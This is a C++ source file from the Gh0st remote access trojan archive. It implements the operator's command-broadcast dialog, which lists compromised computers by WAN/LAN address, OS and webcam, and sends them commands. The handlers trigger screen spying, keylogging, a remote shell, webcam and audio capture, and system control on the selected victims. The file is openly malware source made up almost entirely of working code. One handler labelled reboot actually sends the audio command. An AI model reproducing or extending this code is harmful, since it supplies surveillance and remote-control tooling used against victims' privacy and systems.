www.pudn.com > Gh0st.rar > CommandBcast.cpp, change:2011-05-22,size:7528b


// CommandBcast.cpp : implementation file 
// 
 
#include "stdafx.h" 
#include "client.h" 
#include "CommandBcast.h" 
 
#ifdef _DEBUG 
#define new DEBUG_NEW 
#undef THIS_FILE 
static char THIS_FILE[] = __FILE__; 
#endif 
 
extern CIOCPServer* m_iocpServer; 
///////////////////////////////////////////////////////////////////////////// 
// CCommandBcast dialog 
typedef struct 
{ 
	char	*title; 
	int		nWidth; 
}COLUMNSTRUCT; 
 
COLUMNSTRUCT g_Column_Data[] =  
{ 
	{"ID",				50	}, 
	{"WAN",				105	}, 
	{"LAN",				105	}, 
	{"计算机名/备注",	100	}, 
	{"操作系统",		100	}, 
	{"CPU",				60	}, 
	{"Ping",			40	}, 
	{"视频",			25	}, 
	{"版本",            50  }, 
	{"区域",			80	} 
}; 
 
int g_Column_Width = 0; 
int	g_Column_Count = (sizeof(g_Column_Data) / 8) - !((CClientApp *)AfxGetApp())->m_bIsQQwryExist; 
 
CCommandBcast::CCommandBcast(CWnd* pParent /*=NULL*/) 
	: CDialog(CCommandBcast::IDD, pParent) 
{ 
	//{{AFX_DATA_INIT(CCommandBcast) 
		// NOTE: the ClassWizard will add member initialization here 
	//}}AFX_DATA_INIT 
} 
 
 
void CCommandBcast::DoDataExchange(CDataExchange* pDX) 
{ 
	CDialog::DoDataExchange(pDX); 
	//{{AFX_DATA_MAP(CCommandBcast) 
	DDX_Control(pDX, IDC_TAB_COMMAND, m_tab_command); 
	DDX_Control(pDX, IDC_LIST_COMPUTER, m_list_computer); 
	//}}AFX_DATA_MAP 
} 
 
 
BEGIN_MESSAGE_MAP(CCommandBcast, CDialog) 
	//{{AFX_MSG_MAP(CCommandBcast) 
	ON_NOTIFY(TCN_SELCHANGE, IDC_TAB_COMMAND, OnSelchangeTabCommand) 
	ON_WM_DESTROY() 
	ON_NOTIFY(NM_RCLICK, IDC_LIST_COMPUTER, OnRclickListComputer) 
	ON_COMMAND(IDM_SCREENSPY, OnScreenspy) 
	ON_COMMAND(IDM_KEYBOARD, OnKeyboard) 
	ON_COMMAND(IDM_REMOTESHELL, OnRemoteshell) 
	ON_COMMAND(IDM_WEBCAM, OnWebcam) 
	ON_COMMAND(IDM_REBOOT, OnReboot) 
	ON_COMMAND(IDM_SYSTEM, OnSystem) 
	//}}AFX_MSG_MAP 
END_MESSAGE_MAP() 
 
///////////////////////////////////////////////////////////////////////////// 
// CCommandBcast message handlers 
 
BOOL CCommandBcast::OnInitDialog()  
{ 
	CDialog::OnInitDialog(); 
	 
	// TODO: Add extra initialization here 
	HIMAGELIST hImageListSmall = NULL; 
	Shell_GetImageLists(NULL, &hImageListSmall); 
	ListView_SetImageList(m_list_computer.m_hWnd, hImageListSmall, LVSIL_SMALL); 
	 
	//LVIF_PARAM与LVS_EX_CHECKBOXES都是使列表控件有复选框的标志 
	m_list_computer.SetExtendedStyle(LVS_EX_CHECKBOXES | LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES); 
	 
	for (int i = 0; i < g_Column_Count; i++) 
	{ 
		m_list_computer.InsertColumn(i, g_Column_Data[i].title); 
		m_list_computer.SetColumnWidth(i, g_Column_Data[i].nWidth); 
		g_Column_Width += g_Column_Data[i].nWidth; // 总宽度 
	} 
	m_tab_command.InsertItem(0, "常用命令广播"); 
	m_tab_command.InsertItem(1, "消息广播"); 
	m_tab_command.InsertItem(2, "筛选符合条件主机"); 
	m_tab_command.InsertItem(3, "批量更改备注"); 
 
	if (!m_CommonCommand.m_hWnd&&!m_MessageDlg.m_hWnd&&!m_MoreChoose.m_hWnd&&!m_RenameMem.m_hWnd) 
	{ 
		m_CommonCommand.Create(IDD_COMMON_COMMAND,&m_tab_command);//创建非模态对话框 
        m_MessageDlg.Create(IDD_MESSAGE,&m_tab_command); 
		m_MoreChoose.Create(IDD_MORE_CHOOSE,&m_tab_command); 
		m_RenameMem.Create(IDD_RENAME_MEM,&m_tab_command); 
 
		CRect rect; 
		m_tab_command.GetClientRect(rect); 
		rect.InflateRect(-1,-20,-2,-2); 
		m_CommonCommand.MoveWindow(rect); 
		m_MessageDlg.MoveWindow(rect); 
		m_MoreChoose.MoveWindow(rect); 
		m_RenameMem.MoveWindow(rect); 
		 
		m_CommonCommand.ShowWindow(SW_SHOW);	   
		m_tab_command.SetCurSel(0); 
	} 
 
	return TRUE;  // return TRUE unless you set the focus to a control 
	              // EXCEPTION: OCX Property Pages should return FALSE 
} 
 
void CCommandBcast::OnSelchangeTabCommand(NMHDR* pNMHDR, LRESULT* pResult)  
{ 
	// TODO: Add your control notification handler code here 
	int CurSel;  
	CurSel=m_tab_command.GetCurSel();  
	switch(CurSel)  
	{  
	case 0: 	 
		m_CommonCommand.ShowWindow(SW_SHOW); 
		m_MessageDlg.ShowWindow(SW_HIDE); 
		m_MoreChoose.ShowWindow(SW_HIDE); 
		m_RenameMem.ShowWindow(SW_HIDE); 
		break;  
	case 1:  
		m_CommonCommand.ShowWindow(SW_HIDE); 
		m_MessageDlg.ShowWindow(SW_SHOW); 
		m_MoreChoose.ShowWindow(SW_HIDE); 
		m_RenameMem.ShowWindow(SW_HIDE); 
		break; 
	case 2: 	 
		m_CommonCommand.ShowWindow(SW_HIDE); 
		m_MessageDlg.ShowWindow(SW_HIDE); 
		m_MoreChoose.ShowWindow(SW_SHOW); 
		m_RenameMem.ShowWindow(SW_HIDE); 
		break;  
	case 3:  
		m_CommonCommand.ShowWindow(SW_HIDE); 
		m_MessageDlg.ShowWindow(SW_HIDE); 
		m_MoreChoose.ShowWindow(SW_HIDE); 
		m_RenameMem.ShowWindow(SW_SHOW); 
		break; 
	default: 
		break; 
	} 
	*pResult = 0; 
} 
 
void CCommandBcast::OnDestroy()  
{ 
	CDialog::OnDestroy(); 
	 
	// TODO: Add your message handler code here 
	m_CommonCommand.DestroyWindow(); 
} 
 
void CCommandBcast::SendSelectCommands(PBYTE pData, UINT nSize) 
{ 
	int nCount=m_list_computer.GetItemCount(); 
	for (int i=0;i<nCount;i++) 
	{ 
		if (m_list_computer.GetCheck(i)) 
		{ 
		ClientContext* pContext = (ClientContext*)m_list_computer.GetItemData(i); 
		// 发送指定命令 
		m_iocpServer->Send(pContext, pData, nSize); 
		} 
	} 
} 
 
void CCommandBcast::OnRclickListComputer(NMHDR* pNMHDR, LRESULT* pResult)  
{ 
	// TODO: Add your control notification handler code here 
	CMenu	popup; 
	popup.LoadMenu(IDR_LIST); 
	CMenu*	pM = popup.GetSubMenu(0); 
	CBitmap bitmap;	 
	bitmap.LoadBitmap(IDB_SCREEN); 
	pM->SetMenuItemBitmaps(0,MF_BYPOSITION,&bitmap,&bitmap); 
	bitmap.LoadBitmap(IDB_KEYBOARD); 
	pM->SetMenuItemBitmaps(1,MF_BYPOSITION,&bitmap,&bitmap); 
	bitmap.LoadBitmap(IDB_CMD); 
	pM->SetMenuItemBitmaps(2,MF_BYPOSITION,&bitmap,&bitmap); 
	bitmap.LoadBitmap(IDB_VIDEO); 
	pM->SetMenuItemBitmaps(3,MF_BYPOSITION,&bitmap,&bitmap);		 
	bitmap.LoadBitmap(IDB_AUDIO); 
	pM->SetMenuItemBitmaps(4,MF_BYPOSITION,&bitmap,&bitmap); 
	bitmap.LoadBitmap(IDB_SYSTEM); 
	pM->SetMenuItemBitmaps(5,MF_BYPOSITION,&bitmap,&bitmap); 
	bitmap.LoadBitmap(IDB_FILE); 
	pM->SetMenuItemBitmaps(6,MF_BYPOSITION,&bitmap,&bitmap);		 
	bitmap.LoadBitmap(IDB_SCREEN); 
	pM->SetMenuItemBitmaps(7,MF_BYPOSITION,&bitmap,&bitmap); 
	bitmap.LoadBitmap(IDB_SYSTEM); 
	pM->SetMenuItemBitmaps(8,MF_BYPOSITION,&bitmap,&bitmap); 
	CPoint point; 
	GetCursorPos(&point);	 
	pM->TrackPopupMenu(TPM_LEFTALIGN, point.x, point.y, this); 
	*pResult = 0; 
} 
 
void CCommandBcast::SendSelectCommand(PBYTE pData, UINT nSize) 
{ 
	POSITION pos = m_list_computer.GetFirstSelectedItemPosition();  
	while(pos)  
	{ 
		int	nItem = m_list_computer.GetNextSelectedItem(pos); 
		ClientContext* pContext = (ClientContext*)m_list_computer.GetItemData(nItem); 
		m_iocpServer->Send(pContext, pData, nSize);	 
	} 
} 
 
void CCommandBcast::OnScreenspy()  
{ 
	// TODO: Add your command handler code here 
	BYTE	bToken = COMMAND_SCREEN_SPY; 
	SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CCommandBcast::OnKeyboard()  
{ 
	// TODO: Add your command handler code here 
	BYTE	bToken = COMMAND_KEYBOARD; 
	SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CCommandBcast::OnRemoteshell()  
{ 
	// TODO: Add your command handler code here 
	BYTE	bToken = COMMAND_SHELL; 
	SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CCommandBcast::OnWebcam()  
{ 
	// TODO: Add your command handler code here 
	BYTE	bToken = COMMAND_WEBCAM; 
	SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CCommandBcast::OnReboot()  
{ 
	// TODO: Add your command handler code here 
	BYTE	bToken = COMMAND_AUDIO; 
	SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CCommandBcast::OnSystem()  
{ 
	// TODO: Add your command handler code here 
	BYTE	bToken = COMMAND_SYSTEM; 
	SendSelectCommand(&bToken, sizeof(BYTE)); 
}